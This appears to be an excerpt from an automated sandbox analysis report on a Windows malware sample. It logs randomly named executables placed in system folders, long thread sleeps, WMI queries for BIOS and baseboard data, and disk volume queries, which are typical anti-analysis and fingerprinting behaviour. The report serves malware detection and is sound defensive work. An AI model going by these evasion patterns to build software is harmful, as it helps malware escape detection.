Source: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe TID: 8024	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe TID: 2124	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 6872	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 480	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\r6Lr6XbTWt.exe TID: 7260	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Recovery\0eDO5Zbs.exe TID: 8016	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe TID: 1068	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe TID: 3748	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 7776	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 884	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\r6Lr6XbTWt.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\r6Lr6XbTWt.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Recovery\0eDO5Zbs.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\r6Lr6XbTWt.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Recovery\0eDO5Zbs.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\r6Lr6XbTWt.exe	File Volume queried: C:\ FullSizeInformation